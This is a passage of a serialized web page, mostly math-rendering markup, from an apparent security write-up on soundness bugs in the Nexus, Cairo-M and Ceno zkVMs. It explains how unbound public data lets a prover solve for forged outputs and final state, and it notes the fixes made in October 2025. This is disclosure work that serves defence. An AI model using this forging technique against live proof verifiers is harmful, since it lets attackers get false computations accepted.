rops":117339,"children":117341},{"className":117340,"style":93294},[4043],[117342],{"type":23,"tag":41,"props":117343,"children":117344},{"style":115488},[117345,117349],{"type":23,"tag":41,"props":117346,"children":117348},{"className":117347,"style":4053},[4052],[],{"type":23,"tag":41,"props":117350,"children":117352},{"className":117351},[4058,4059,4060,4061],[117353],{"type":23,"tag":41,"props":117354,"children":117356},{"className":117355},[4012,21574,4061],[117357],{"type":28,"value":3737},{"type":23,"tag":41,"props":117359,"children":117361},{"className":117360},[21731],[117362],{"type":28,"value":21734},{"type":23,"tag":41,"props":117364,"children":117366},{"className":117365},[4038],[117367],{"type":23,"tag":41,"props":117368,"children":117370},{"className":117369,"style":92848},[4043],[117371],{"type":23,"tag":41,"props":117372,"children":117373},{},[],{"type":23,"tag":41,"props":117375,"children":117377},{"className":117376,"style":4093},[4092],[],{"type":23,"tag":41,"props":117379,"children":117381},{"className":117380},[4098],[117382],{"type":28,"value":111027},{"type":23,"tag":41,"props":117384,"children":117386},{"className":117385,"style":4093},[4092],[],{"type":23,"tag":41,"props":117388,"children":117390},{"className":117389},[4001],[117391,117395,117457,117462,117467],{"type":23,"tag":41,"props":117392,"children":117394},{"className":117393,"style":4113},[4006],[],{"type":23,"tag":41,"props":117396,"children":117398},{"className":117397},[4012],[117399,117409],{"type":23,"tag":41,"props":117400,"children":117402},{"className":117401},[4012,28],[117403],{"type":23,"tag":41,"props":117404,"children":117406},{"className":117405},[4012],[117407],{"type":28,"value":117408},"constraint",{"type":23,"tag":41,"props":117410,"children":117412},{"className":117411},[4028],[117413],{"type":23,"tag":41,"props":117414,"children":117416},{"className":117415},[4033,21628],[117417,117446],{"type":23,"tag":41,"props":117418,"children":117420},{"className":117419},[4038],[117421,117441],{"type":23,"tag":41,"props":117422,"children":117424},{"className":117423,"style":93294},[4043],[117425],{"type":23,"tag":41,"props":117426,"children":117427},{"style":113895},[117428,117432],{"type":23,"tag":41,"props":117429,"children":117431},{"className":117430,"style":4053},[4052],[],{"type":23,"tag":41,"props":117433,"children":117435},{"className":117434},[4058,4059,4060,4061],[117436],{"type":23,"tag":41,"props":117437,"children":117439},{"className":117438},[4012,21574,4061],[117440],{"type":28,"value":3737},{"type":23,"tag":41,"props":117442,"children":117444},{"className":117443},[21731],[117445],{"type":28,"value":21734},{"type":23,"tag":41,"props":117447,"children":117449},{"className":117448},[4038],[117450],{"type":23,"tag":41,"props":117451,"children":117453},{"className":117452,"style":92848},[4043],[117454],{"type":23,"tag":41,"props":117455,"children":117456},{},[],{"type":23,"tag":41,"props":117458,"children":117460},{"className":117459},[21703],[117461],{"type":28,"value":1737},{"type":23,"tag":41,"props":117463,"children":117465},{"className":117464},[4012,21574],[117466],{"type":28,"value":19263},{"type":23,"tag":41,"props":117468,"children":117470},{"className":117469},[21725],[117471],{"type":28,"value":2678},{"type":23,"tag":24,"props":117473,"children":117474},{},[117475,117477,117482,117484,117489],{"type":28,"value":117476},"Since each constraint is linear in its ",{"type":23,"tag":37,"props":117478,"children":117480},{"className":117479},[],[117481],{"type":28,"value":114629},{"type":28,"value":117483},", the overall composition polynomial is linear in all ",{"type":23,"tag":37,"props":117485,"children":117487},{"className":117486},[],[117488],{"type":28,"value":114629},{"type":28,"value":117490}," values.",{"type":23,"tag":24,"props":117492,"children":117493},{},[117494,117496],{"type":28,"value":117495},"The verifier checks ",{"type":23,"tag":37,"props":117497,"children":117499},{"className":117498},[3984,3985],[117500],{"type":23,"tag":41,"props":117501,"children":117503},{"className":117502},[3990],[117504],{"type":23,"tag":41,"props":117505,"children":117507},{"className":117506,"ariaHidden":3996},[3995],[117508,117569],{"type":23,"tag":41,"props":117509,"children":117511},{"className":117510},[4001],[117512,117516,117521,117526,117536,117541,117551,117556,117560,117565],{"type":23,"tag":41,"props":117513,"children":117515},{"className":117514,"style":92707},[4006],[],{"type":23,"tag":41,"props":117517,"children":117519},{"className":117518,"style":22106},[4012,21574],[117520],{"type":28,"value":115994},{"type":23,"tag":41,"props":117522,"children":117524},{"className":117523},[21703],[117525],{"type":28,"value":1737},{"type":23,"tag":41,"props":117527,"children":117529},{"className":117528},[4012,28],[117530],{"type":23,"tag":41,"props":117531,"children":117533},{"className":117532},[4012],[117534],{"type":28,"value":117535},"oods",{"type":23,"tag":41,"props":117537,"children":117539},{"className":117538,"style":92765},[4012],[117540],{"type":28,"value":3084},{"type":23,"tag":41,"props":117542,"children":117544},{"className":117543},[4012,28],[117545],{"type":23,"tag":41,"props":117546,"children":117548},{"className":117547},[4012],[117549],{"type":28,"value":117550},"point",{"type":23,"tag":41,"props":117552,"children":117554},{"className":117553},[21725],[117555],{"type":28,"value":2678},{"type":23,"tag":41,"props":117557,"children":117559},{"className":117558,"style":4190},[4092],[],{"type":23,"tag":41,"props":117561,"children":117563},{"className":117562},[4195],[117564],{"type":28,"value":2381},{"type":23,"tag":41,"props":117566,"children":117568},{"className":117567,"style":4190},[4092],[],{"type":23,"tag":41,"props":117570,"children":117572},{"className":117571},[4001],[117573,117577],{"type":23,"tag":41,"props":117574,"children":117576},{"className":117575,"style":114820},[4006],[],{"type":23,"tag":41,"props":117578,"children":117580},{"className":117579},[4012,28],[117581],{"type":23,"tag":41,"props":117582,"children":117584},{"className":117583},[4012],[117585],{"type":28,"value":116319},{"type":23,"tag":24,"props":117587,"children":117588},{},[117589,117591,117596,117598,117603],{"type":28,"value":117590},"With ",{"type":23,"tag":37,"props":117592,"children":117594},{"className":117593},[],[117595],{"type":28,"value":114629},{"type":28,"value":117597}," not in transcript, the composition polynomial becomes a linear function of the ",{"type":23,"tag":37,"props":117599,"children":117601},{"className":117600},[],[117602],{"type":28,"value":114629},{"type":28,"value":117604}," values. Combined with the constraint that claimed sums must sum to zero, this is a small linear system that is easily solvable.",{"type":23,"tag":24,"props":117606,"children":117607},{},[117608,117612,117614],{"type":23,"tag":510,"props":117609,"children":117610},{},[117611],{"type":28,"value":116475},{"type":28,"value":117613}," Fixed on October 24, 2025 via ",{"type":23,"tag":458,"props":117615,"children":117618},{"href":117616,"rel":117617},"https://github.com/nexus-xyz/nexus-zkvm/pull/503",[462],[117619],{"type":28,"value":117620},"PR #503",{"type":23,"tag":442,"props":117622,"children":117623},{},[],{"type":23,"tag":546,"props":117625,"children":117627},{"id":117626},"cairo-m-kakarot-labs",[117628],{"type":28,"value":117629},"Cairo-M (Kakarot Labs)",{"type":23,"tag":24,"props":117631,"children":117632},{},[117633],{"type":28,"value":117634},"Cairo-M, built by Kakarot Labs, is an alternative proof system for the Cairo VM (used by Starknet).",{"type":23,"tag":24,"props":117636,"children":117637},{},[117638],{"type":28,"value":117639},"Cairo-M is in many ways similar to Nexus. It uses logup to prove global statements about the execution.",{"type":23,"tag":24,"props":117641,"children":117642},{},[117643],{"type":23,"tag":510,"props":117644,"children":117645},{},[117646],{"type":28,"value":115181},{"type":23,"tag":31,"props":117648,"children":117650},{"code":117649},"Proof {\n    claim: ComponentSizes,\n    interaction_claim: LogupClaimsPerComponent,\n    public_data: {          // \u003C- VULNERABLE\n        initial_registers: { pc, fp },\n        final_registers: { pc, fp }, // \u003C- forged\n        clock,                       // \u003C- forged\n        initial_root,                \n        final_root,                  // \u003C- forged\n        public_memory: { program, input, output }, //output modified\n    },\n    stark_proof: [...],\n}\n",[117651],{"type":23,"tag":37,"props":117652,"children":117653},{"__ignoreMap":7},[117654],{"type":28,"value":117649},{"type":23,"tag":24,"props":117656,"children":117657},{},[117658],{"type":23,"tag":510,"props":117659,"children":117660},{},[117661],{"type":28,"value":115197},{"type":23,"tag":24,"props":117663,"children":117664},{},[117665],{"type":23,"tag":3918,"props":117666,"children":117669},{"alt":117667,"src":117668},"7_cairo_m_verification","/posts/zkvms-unfaithful-claims/7_cairo_m_verification.svg",[],{"type":23,"tag":24,"props":117671,"children":117672},{},[117673,117675,117681],{"type":28,"value":117674},"Lookup challenges are derived without ",{"type":23,"tag":37,"props":117676,"children":117678},{"className":117677},[],[117679],{"type":28,"value":117680},"public_data",{"type":28,"value":117682}," being  mixed into the transcript.",{"type":23,"tag":24,"props":117684,"children":117685},{},[117686,117687,117692,117694,117699],{"type":28,"value":16601},{"type":23,"tag":37,"props":117688,"children":117690},{"className":117689},[],[117691],{"type":28,"value":117680},{"type":28,"value":117693}," (program I/O, boundary registers, memory roots) enters the lookup relations inside ",{"type":23,"tag":2913,"props":117695,"children":117696},{},[117697],{"type":28,"value":117698},"denominators",{"type":28,"value":117700}," through challenge-weighted encodings of tuples. Abstractly, the verifier checks a relation of the form:",{"type":23,"tag":24,"props":117702,"children":117703},{},[117704],{"type":23,"tag":37,"props":117705,"children":117707},{"className":117706},[3984,3985],[117708],{"type":23,"tag":41,"props":117709,"children":117711},{"className":117710},[3990],[117712],{"type":23,"tag":41,"props":117713,"children":117715},{"className":117714,"ariaHidden":3996},[3995],[117716,117776,117822,117868],{"type":23,"tag":41,"props":117717,"children":117719},{"className":117718},[4001],[117720,117724,117730,117735,117744,117749,117758,117763,117767,117772],{"type":23,"tag":41,"props":117721,"children":117723},{"className":117722,"style":92707},[4006],[],{"type":23,"tag":41,"props":117725,"children":117727},{"className":117726},[4012,21574],[117728],{"type":28,"value":117729},"L",{"type":23,"tag":41,"props":117731,"children":117733},{"className":117732},[21703],[117734],{"type":28,"value":1737},{"type":23,"tag":41,"props":117736,"children":117738},{"className":117737},[4012,28],[117739],{"type":23,"tag":41,"props":117740,"children":117742},{"className":117741},[4012],[117743],{"type":28,"value":127},{"type":23,"tag":41,"props":117745,"children":117747},{"className":117746,"style":92765},[4012],[117748],{"type":28,"value":3084},{"type":23,"tag":41,"props":117750,"children":117752},{"className":117751},[4012,28],[117753],{"type":23,"tag":41,"props":117754,"children":117756},{"className":117755},[4012],[117757],{"type":28,"value":3701},{"type":23,"tag":41,"props":117759,"children":117761},{"className":117760},[21725],[117762],{"type":28,"value":2678},{"type":23,"tag":41,"props":117764,"children":117766},{"className":117765,"style":4093},[4092],[],{"type":23,"tag":41,"props":117768,"children":117770},{"className":117769},[4098],[117771],{"type":28,"value":4383},{"type":23,"tag":41,"props":117773,"children":117775},{"className":117774,"style":4093},[4092],[],{"type":23,"tag":41,"props":117777,"children":117779},{"className":117778},[4001],[117780,117784,117794,117799,117809,117813,117818],{"type":23,"tag":41,"props":117781,"children":117783},{"className":117782,"style":92707},[4006],[],{"type":23,"tag":41,"props":117785,"children":117787},{"className":117786},[4012,28],[117788],{"type":23,"tag":41,"props":117789,"children":117791},{"className":117790},[4012],[117792],{"type":28,"value":117793},"(other transcript",{"type":23,"tag":41,"props":117795,"children":117797},{"className":117796,"style":92765},[4012],[117798],{"type":28,"value":3084},{"type":23,"tag":41,"props":117800,"children":117802},{"className":117801},[4012,28],[117803],{"type":23,"tag":41,"props":117804,"children":117806},{"className":117805},[4012],[117807],{"type":28,"value":117808},"bound terms)",{"type":23,"tag":41,"props":117810,"children":117812},{"className":117811,"style":4190},[4092],[],{"type":23,"tag":41,"props":117814,"children":117816},{"className":117815},[4195],[117817],{"type":28,"value":2381},{"type":23,"tag":41,"props":117819,"children":117821},{"className":117820,"style":4190},[4092],[],{"type":23,"tag":41,"props":117823,"children":117825},{"className":117824},[4001],[117826,117831,117836,117841,117846,117850,117855,117859,117864],{"type":23,"tag":41,"props":117827,"children":117830},{"className":117828,"style":117829},[4006],"height:0.8778em;vertical-align:-0.1944em;",[],{"type":23,"tag":41,"props":117832,"children":117834},{"className":117833},[4012],[117835],{"type":28,"value":4024},{"type":23,"tag":41,"props":117837,"children":117839},{"className":117838},[4124],[117840],{"type":28,"value":4127},{"type":23,"tag":41,"props":117842,"children":117845},{"className":117843,"style":117844},[4092],"margin-right:2em;",[],{"type":23,"tag":41,"props":117847,"children":117849},{"className":117848,"style":4131},[4092],[],{"type":23,"tag":41,"props":117851,"children":117853},{"className":117852},[4012,21574],[117854],{"type":28,"value":117729},{"type":23,"tag":41,"props":117856,"children":117858},{"className":117857,"style":4190},[4092],[],{"type":23,"tag":41,"props":117860,"children":117862},{"className":117861},[4195],[117863],{"type":28,"value":2381},{"type":23,"tag":41,"props":117865,"children":117867},{"className":117866,"style":4190},[4092],[],{"type":23,"tag":41,"props":117869,"children":117871},{"className":117870},[4001],[117872,117877,117934,117938,118156],{"type":23,"tag":41,"props":117873,"children":117876},{"className":117874,"style":117875},[4006],"height:1.4071em;vertical-align:-0.562em;",[],{"type":23,"tag":41,"props":117878,"children":117880},{"className":117879},[21610],[117881,117886],{"type":23,"tag":41,"props":117882,"children":117884},{"className":117883,"style":21617},[21610,21615,21616],[117885],{"type":28,"value":108560},{"type":23,"tag":41,"props":117887,"children":117889},{"className":117888},[4028],[117890],{"type":23,"tag":41,"props":117891,"children":117893},{"className":117892},[4033,21628],[117894,117923],{"type":23,"tag":41,"props":117895,"children":117897},{"className":117896},[4038],[117898,117918],{"type":23,"tag":41,"props":117899,"children":117901},{"className":117900,"style":113972},[4043],[117902],{"type":23,"tag":41,"props":117903,"children":117904},{"style":21641},[117905,117909],{"type":23,"tag":41,"props":117906,"children":117908},{"className":117907,"style":4053},[4052],[],{"type":23,"tag":41,"props":117910,"children":117912},{"className":117911},[4058,4059,4060,4061],[117913],{"type":23,"tag":41,"props":117914,"children":117916},{"className":117915},[4012,21574,4061],[117917],{"type":28,"value":3737},{"type":23,"tag":41,"props":117919,"children":117921},{"className":117920},[21731],[117922],{"type":28,"value":21734},{"type":23,"tag":41,"props":117924,"children":117926},{"className":117925},[4038],[117927],{"type":23,"tag":41,"props":117928,"children":117930},{"className":117929,"style":114252},[4043],[117931],{"type":23,"tag":41,"props":117932,"children":117933},{},[],{"type":23,"tag":41,"props":117935,"children":117937},{"className":117936,"style":4131},[4092],[],{"type":23,"tag":41,"props":117939,"children":117941},{"className":117940},[4012],[117942,117946,118152],{"type":23,"tag":41,"props":117943,"children":117945},{"className":117944},[21703,113283],[],{"type":23,"tag":41,"props":117947,"children":117949},{"className":117948},[113288],[117950],{"type":23,"tag":41,"props":117951,"children":117953},{"className":117952},[4033,21628],[117954,118140],{"type":23,"tag":41,"props":117955,"children":117957},{"className":117956},[4038],[117958,118135],{"type":23,"tag":41,"props":117959,"children":117961},{"className":117960,"style":113301},[4043],[117962,118104,118115],{"type":23,"tag":41,"props":117963,"children":117964},{"style":113305},[117965,117969],{"type":23,"tag":41,"props":117966,"children":117968},{"className":117967,"style":111936},[4052],[],{"type":23,"tag":41,"props":117970,"children":117972},{"className":117971},[4058,4059,4060,4061],[117973],{"type":23,"tag":41,"props":117974,"children":117976},{"className":117975},[4012,4061],[117977,117982,117987,117993,117998,118003,118060,118065,118074,118079,118088,118094,118099],{"type":23,"tag":41,"props":117978,"children":117980},{"className":117979,"style":113322},[4012,21574,4061],[117981],{"type":28,"value":113325},{"type":23,"tag":41,"props":117983,"children":117985},{"className":117984},[4098,4061],[117986],{"type":28,"value":4383},{"type":23,"tag":41,"props":117988,"children":117990},{"className":117989},[21703,4061],[117991],{"type":28,"value":117992},"⟨",{"type":23,"tag":41,"props":117994,"children":117996},{"className":117995,"style":114853},[4012,21574,4061],[117997],{"type":28,"value":114856},{"type":23,"tag":41,"props":117999,"children":118001},{"className":118000},[4124,4061],[118002],{"type":28,"value":4127},{"type":23,"tag":41,"props":118004,"children":118006},{"className":118005},[4012,4061],[118007,118012],{"type":23,"tag":41,"props":118008,"children":118010},{"className":118009},[4012,21574,4061],[118011],{"type":28,"value":21716},{"type":23,"tag":41,"props":118013,"children":118015},{"className":118014},[4028],[118016],{"type":23,"tag":41,"props":118017,"children":118019},{"className":118018},[4033,21628],[118020,118049],{"type":23,"tag":41,"props":118021,"children":118023},{"className":118022},[4038],[118024,118044],{"type":23,"tag":41,"props":118025,"children":118027},{"className":118026,"style":114089},[4043],[118028],{"type":23,"tag":41,"props":118029,"children":118030},{"style":108620},[118031,118035],{"type":23,"tag":41,"props":118032,"children":118034},{"className":118033,"style":108625},[4052],[],{"type":23,"tag":41,"props":118036,"children":118038},{"className":118037},[4058,108630,108631,4061],[118039],{"type":23,"tag":41,"props":118040,"children":118042},{"className":118041},[4012,21574,4061],[118043],{"type":28,"value":3737},{"type":23,"tag":41,"props":118045,"children":118047},{"className":118046},[21731],[118048],{"type":28,"value":21734},{"type":23,"tag":41,"props":118050,"children":118052},{"className":118051},[4038],[118053],{"type":23,"tag":41,"props":118054,"children":118056},{"className":118055,"style":108650},[4043],[118057],{"type":23,"tag":41,"props":118058,"children":118059},{},[],{"type":23,"tag":41,"props":118061,"children":118063},{"className":118062},[21703,4061],[118064],{"type":28,"value":1737},{"type":23,"tag":41,"props":118066,"children":118068},{"className":118067},[4012,28,4061],[118069],{"type":23,"tag":41,"props":118070,"children":118072},{"className":118071},[4012,4061],[118073],{"type":28,"value":127},{"type":23,"tag":41,"props":118075,"children":118077},{"className":118076,"style":92765},[4012,4061],[118078],{"type":28,"value":3084},{"type":23,"tag":41,"props":118080,"children":118082},{"className":118081},[4012,28,4061],[118083],{"type":23,"tag":41,"props":118084,"children":118086},{"className":118085},[4012,4061],[118087],{"type":28,"value":3701},{"type":23,"tag":41,"props":118089,"children":118091},{"className":118090},[21725,4061],[118092],{"type":28,"value":118093},")⟩",{"type":23,"tag":41,"props":118095,"children":118097},{"className":118096},[4098,4061],[118098],{"type":28,"value":4383},{"type":23,"tag":41,"props":118100,"children":118102},{"className":118101,"style":114908},[4012,21574,4061],[118103],{"type":28,"value":114911},{"type":23,"tag":41,"props":118105,"children":118106},{"style":113338},[118107,118111],{"type":23,"tag":41,"props":118108,"children":118110},{"className":118109,"style":111936},[4052],[],{"type":23,"tag":41,"props":118112,"children":118114},{"className":118113,"style":113348},[113347],[],{"type":23,"tag":41,"props":118116,"children":118117},{"style":113352},[118118,118122],{"type":23,"tag":41,"props":118119,"children":118121},{"className":118120,"style":111936},[4052],[],{"type":23,"tag":41,"props":118123,"children":118125},{"className":118124},[4058,4059,4060,4061],[118126],{"type":23,"tag":41,"props":118127,"children":118129},{"className":118128},[4012,4061],[118130],{"type":23,"tag":41,"props":118131,"children":118133},{"className":118132},[4012,4061],[118134],{"type":28,"value":317},{"type":23,"tag":41,"props":118136,"children":118138},{"className":118137},[21731],[118139],{"type":28,"value":21734},{"type":23,"tag":41,"props":118141,"children":118143},{"className":118142},[4038],[118144],{"type":23,"tag":41,"props":118145,"children":118148},{"className":118146,"style":118147},[4043],"height:0.562em;",[118149],{"type":23,"tag":41,"props":118150,"children":118151},{},[],{"type":23,"tag":41,"props":118153,"children":118155},{"className":118154},[21725,113283],[],{"type":23,"tag":41,"props":118157,"children":118159},{"className":118158},[4012],[118160],{"type":28,"value":706},{"type":23,"tag":24,"props":118162,"children":118163},{},[118164,118166],{"type":28,"value":118165},"The global check is then that ",{"type":23,"tag":37,"props":118167,"children":118169},{"className":118168},[3984,3985],[118170],{"type":23,"tag":41,"props":118171,"children":118173},{"className":118172},[3990],[118174],{"type":23,"tag":41,"props":118175,"children":118177},{"className":118176,"ariaHidden":3996},[3995],[118178,118219,118250],{"type":23,"tag":41,"props":118179,"children":118181},{"className":118180},[4001],[118182,118186,118191,118196,118201,118206,118210,118215],{"type":23,"tag":41,"props":118183,"children":118185},{"className":118184,"style":4113},[4006],[],{"type":23,"tag":41,"props":118187,"children":118189},{"className":118188},[4012,21574],[118190],{"type":28,"value":117729},{"type":23,"tag":41,"props":118192,"children":118194},{"className":118193},[21703],[118195],{"type":28,"value":1737},{"type":23,"tag":41,"props":118197,"children":118199},{"className":118198},[4012,21574],[118200],{"type":28,"value":24},{"type":23,"tag":41,"props":118202,"children":118204},{"className":118203},[21725],[118205],{"type":28,"value":2678},{"type":23,"tag":41,"props":118207,"children":118209},{"className":118208,"style":4093},[4092],[],{"type":23,"tag":41,"props":118211,"children":118213},{"className":118212},[4098],[118214],{"type":28,"value":4383},{"type":23,"tag":41,"props":118216,"children":118218},{"className":118217,"style":4093},[4092],[],{"type":23,"tag":41,"props":118220,"children":118222},{"className":118221},[4001],[118223,118227,118237,118241,118246],{"type":23,"tag":41,"props":118224,"children":118226},{"className":118225,"style":4113},[4006],[],{"type":23,"tag":41,"props":118228,"children":118230},{"className":118229},[4012,28],[118231],{"type":23,"tag":41,"props":118232,"children":118234},{"className":118233},[4012],[118235],{"type":28,"value":118236},"(other terms)",{"type":23,"tag":41,"props":118238,"children":118240},{"className":118239,"style":4190},[4092],[],{"type":23,"tag":41,"props":118242,"children":118244},{"className":118243},[4195],[118245],{"type":28,"value":2381},{"type":23,"tag":41,"props":118247,"children":118249},{"className":118248,"style":4190},[4092],[],{"type":23,"tag":41,"props":118251,"children":118253},{"className":118252},[4001],[118254,118258],{"type":23,"tag":41,"props":118255,"children":118257},{"className":118256,"style":93796},[4006],[],{"type":23,"tag":41,"props":118259,"children":118261},{"className":118260},[4012],[118262],{"type":28,"value":4024},{"type":23,"tag":24,"props":118264,"children":118265},{},[118266],{"type":28,"value":118267},"With challenges fixed, this is a rational equation in public data. This is not linear, but still algebraically solvable.",{"type":23,"tag":24,"props":118269,"children":118270},{},[118271],{"type":28,"value":118272},"Public-data coordinates participate in verification relations through extension-field arithmetic (including extension-valued public-memory entries), so the forged-parameter search is a coupled extension-field system.",{"type":23,"tag":24,"props":118274,"children":118275},{},[118276,118280,118282],{"type":23,"tag":510,"props":118277,"children":118278},{},[118279],{"type":28,"value":116475},{"type":28,"value":118281}," Fixed on October 31, 2025 via ",{"type":23,"tag":458,"props":118283,"children":118286},{"href":118284,"rel":118285},"https://github.com/kkrt-labs/cairo-m/pull/352/commits/92b6740937e904e0002e7ee099fec357127c1d16",[462],[118287],{"type":28,"value":118288},"commit 92b6740",{"type":23,"tag":442,"props":118290,"children":118291},{},[],{"type":23,"tag":546,"props":118293,"children":118295},{"id":118294},"ceno-scroll",[118296],{"type":28,"value":118297},"Ceno (Scroll)",{"type":23,"tag":24,"props":118299,"children":118300},{},[118301],{"type":28,"value":118302},"Ceno is a zkVM by Scroll, using GKR with a tower sumcheck structure.",{"type":23,"tag":24,"props":118304,"children":118305},{},[118306,118308,118313],{"type":28,"value":118307},"Ceno splits verification into ",{"type":23,"tag":510,"props":118309,"children":118310},{},[118311],{"type":28,"value":118312},"chips",{"type":28,"value":118314},", with one per opcode or lookup table. Each chip proves its constraints independently.",{"type":23,"tag":24,"props":118316,"children":118317},{},[118318,118320,118325],{"type":28,"value":118319},"Many per-record values (reads, writes, lookups) are batched into a binary tree structure. Each layer folds pairs of values with random challenges; this is the ",{"type":23,"tag":510,"props":118321,"children":118322},{},[118323],{"type":28,"value":118324},"tower sumcheck",{"type":28,"value":706},{"type":23,"tag":24,"props":118327,"children":118328},{},[118329],{"type":28,"value":118330},"All read records must match all write records (plus initial/final state). This is checked via a multiset equality, this time using a product instead of logup:",{"type":23,"tag":24,"props":118332,"children":118333},{},[118334],{"type":23,"tag":37,"props":118335,"children":118337},{"className":118336},[3984,3985],[118338],{"type":23,"tag":41,"props":118339,"children":118341},{"className":118340},[3990],[118342],{"type":23,"tag":41,"props":118343,"children":118345},{"className":118344,"ariaHidden":3996},[3995],[118346,118520,118693],{"type":23,"tag":41,"props":118347,"children":118349},{"className":118348},[4001],[118350,118354,118412,118416,118425,118430,118440,118445,118507,118511,118516],{"type":23,"tag":41,"props":118351,"children":118353},{"className":118352,"style":92707},[4006],[],{"type":23,"tag":41,"props":118355,"children":118357},{"className":118356},[21610],[118358,118364],{"type":23,"tag":41,"props":118359,"children":118361},{"className":118360,"style":21617},[21610,21615,21616],[118362],{"type":28,"value":118363},"∏",{"type":23,"tag":41,"props":118365,"children":118367},{"className":118366},[4028],[118368],{"type":23,"tag":41,"props":118369,"children":118371},{"className":118370},[4033,21628],[118372,118401],{"type":23,"tag":41,"props":118373,"children":118375},{"className":118374},[4038],[118376,118396],{"type":23,"tag":41,"props":118377,"children":118379},{"className":118378,"style":113972},[4043],[118380],{"type":23,"tag":41,"props":118381,"children":118382},{"style":21641},[118383,118387],{"type":23,"tag":41,"props":118384,"children":118386},{"className":118385,"style":4053},[4052],[],{"type":23,"tag":41,"props":118388,"children":118390},{"className":118389},[4058,4059,4060,4061],[118391],{"type":23,"tag":41,"props":118392,"children":118394},{"className":118393},[4012,21574,4061],[118395],{"type":28,"value":3737},{"type":23,"tag":41,"props":118397,"children":118399},{"className":118398},[21731],[118400],{"type":28,"value":21734},{"type":23,"tag":41,"props":118402,"children":118404},{"className":118403},[4038],[118405],{"type":23,"tag":41,"props":118406,"children":118408},{"className":118407,"style":114252},[4043],[118409],{"type":23,"tag":41,"props":118410,"children":118411},{},[],{"type":23,"tag":41,"props":118413,"children":118415},{"className":118414,"style":4131},[4092],[],{"type":23,"tag":41,"props":118417,"children":118419},{"className":118418},[4012,28],[118420],{"type":23,"tag":41,"props":118421,"children":118423},{"className":118422},[4012],[118424],{"type":28,"value":93584},{"type":23,"tag":41,"props":118426,"children":118428},{"className":118427,"style":92765},[4012],[118429],{"type":28,"value":3084},{"type":23,"tag":41,"props":118431,"children":118433},{"className":118432},[4012,28],[118434],{"type":23,"tag":41,"props":118435,"children":118437},{"className":118436},[4012],[118438],{"type":28,"value":118439},"out",{"type":23,"tag":41,"props":118441,"children":118443},{"className":118442,"style":92765},[4012],[118444],{"type":28,"value":3084},{"type":23,"tag":41,"props":118446,"children":118448},{"className":118447},[4012],[118449,118459],{"type":23,"tag":41,"props":118450,"children":118452},{"className":118451},[4012,28],[118453],{"type":23,"tag":41,"props":118454,"children":118456},{"className":118455},[4012],[118457],{"type":28,"value":118458},"evals",{"type":23,"tag":41,"props":118460,"children":118462},{"className":118461},[4028],[118463],{"type":23,"tag":41,"props":118464,"children":118466},{"className":118465},[4033,21628],[118467,118496],{"type":23,"tag":41,"props":118468,"children":118470},{"className":118469},[4038],[118471,118491],{"type":23,"tag":41,"props":118472,"children":118474},{"className":118473,"style":93294},[4043],[118475],{"type":23,"tag":41,"props":118476,"children":118477},{"style":113895},[118478,118482],{"type":23,"tag":41,"props":118479,"children":118481},{"className":118480,"style":4053},[4052],[],{"type":23,"tag":41,"props":118483,"children":118485},{"className":118484},[4058,4059,4060,4061],[118486],{"type":23,"tag":41,"props":118487,"children":118489},{"className":118488},[4012,21574,4061],[118490],{"type":28,"value":3737},{"type":23,"tag":41,"props":118492,"children":118494},{"className":118493},[21731],[118495],{"type":28,"value":21734},{"type":23,"tag":41,"props":118497,"children":118499},{"className":118498},[4038],[118500],{"type":23,"tag":41,"props":118501,"children":118503},{"className":118502,"style":92848},[4043],[118504],{"type":23,"tag":41,"props":118505,"children":118506},{},[],{"type":23,"tag":41,"props":118508,"children":118510},{"className":118509,"style":4190},[4092],[],{"type":23,"tag":41,"props":118512,"children":118514},{"className":118513},[4195],[118515],{"type":28,"value":2381},{"type":23,"tag":41,"props":118517,"children":118519},{"className":118518,"style":4190},[4092],[],{"type":23,"tag":41,"props":118521,"children":118523},{"className":118522},[4001],[118524,118529,118586,118590,118599,118604,118613,118618,118680,118684,118689],{"type":23,"tag":41,"props":118525,"children":118528},{"className":118526,"style":118527},[4006],"height:1.1858em;vertical-align:-0.4358em;",[],{"type":23,"tag":41,"props":118530,"children":118532},{"className":118531},[21610],[118533,118538],{"type":23,"tag":41,"props":118534,"children":118536},{"className":118535,"style":21617},[21610,21615,21616],[118537],{"type":28,"value":118363},{"type":23,"tag":41,"props":118539,"children":118541},{"className":118540},[4028],[118542],{"type":23,"tag":41,"props":118543,"children":118545},{"className":118544},[4033,21628],[118546,118575],{"type":23,"tag":41,"props":118547,"children":118549},{"className":118548},[4038],[118550,118570],{"type":23,"tag":41,"props":118551,"children":118553},{"className":118552,"style":113972},[4043],[118554],{"type":23,"tag":41,"props":118555,"children":118556},{"style":21641},[118557,118561],{"type":23,"tag":41,"props":118558,"children":118560},{"className":118559,"style":4053},[4052],[],{"type":23,"tag":41,"props":118562,"children":118564},{"className":118563},[4058,4059,4060,4061],[118565],{"type":23,"tag":41,"props":118566,"children":118568},{"className":118567,"style":113988},[4012,21574,4061],[118569],{"type":28,"value":8654},{"type":23,"tag":41,"props":118571,"children":118573},{"className":118572},[21731],[118574],{"type":28,"value":21734},{"type":23,"tag":41,"props":118576,"children":118578},{"className":118577},[4038],[118579],{"type":23,"tag":41,"props":118580,"children":118582},{"className":118581,"style":114003},[4043],[118583],{"type":23,"tag":41,"props":118584,"children":118585},{},[],{"type":23,"tag":41,"props":118587,"children":118589},{"className":118588,"style":4131},[4092],[],{"type":23,"tag":41,"props":118591,"children":118593},{"className":118592},[4012,28],[118594],{"type":23,"tag":41,"props":118595,"children":118597},{"className":118596},[4012],[118598],{"type":28,"value":49566},{"type":23,"tag":41,"props":118600,"children":118602},{"className":118601,"style":92765},[4012],[118603],{"type":28,"value":3084},{"type":23,"tag":41,"props":118605,"children":118607},{"className":118606},[4012,28],[118608],{"type":23,"tag":41,"props":118609,"children":118611},{"className":118610},[4012],[118612],{"type":28,"value":118439},{"type":23,"tag":41,"props":118614,"children":118616},{"className":118615,"style":92765},[4012],[118617],{"type":28,"value":3084},{"type":23,"tag":41,"props":118619,"children":118621},{"className":118620},[4012],[118622,118631],{"type":23,"tag":41,"props":118623,"children":118625},{"className":118624},[4012,28],[118626],{"type":23,"tag":41,"props":118627,"children":118629},{"className":118628},[4012],[118630],{"type":28,"value":118458},{"type":23,"tag":41,"props":118632,"children":118634},{"className":118633},[4028],[118635],{"type":23,"tag":41,"props":118636,"children":118638},{"className":118637},[4033,21628],[118639,118668],{"type":23,"tag":41,"props":118640,"children":118642},{"className":118641},[4038],[118643,118663],{"type":23,"tag":41,"props":118644,"children":118646},{"className":118645,"style":93294},[4043],[118647],{"type":23,"tag":41,"props":118648,"children":118649},{"style":113895},[118650,118654],{"type":23,"tag":41,"props":118651,"children":118653},{"className":118652,"style":4053},[4052],[],{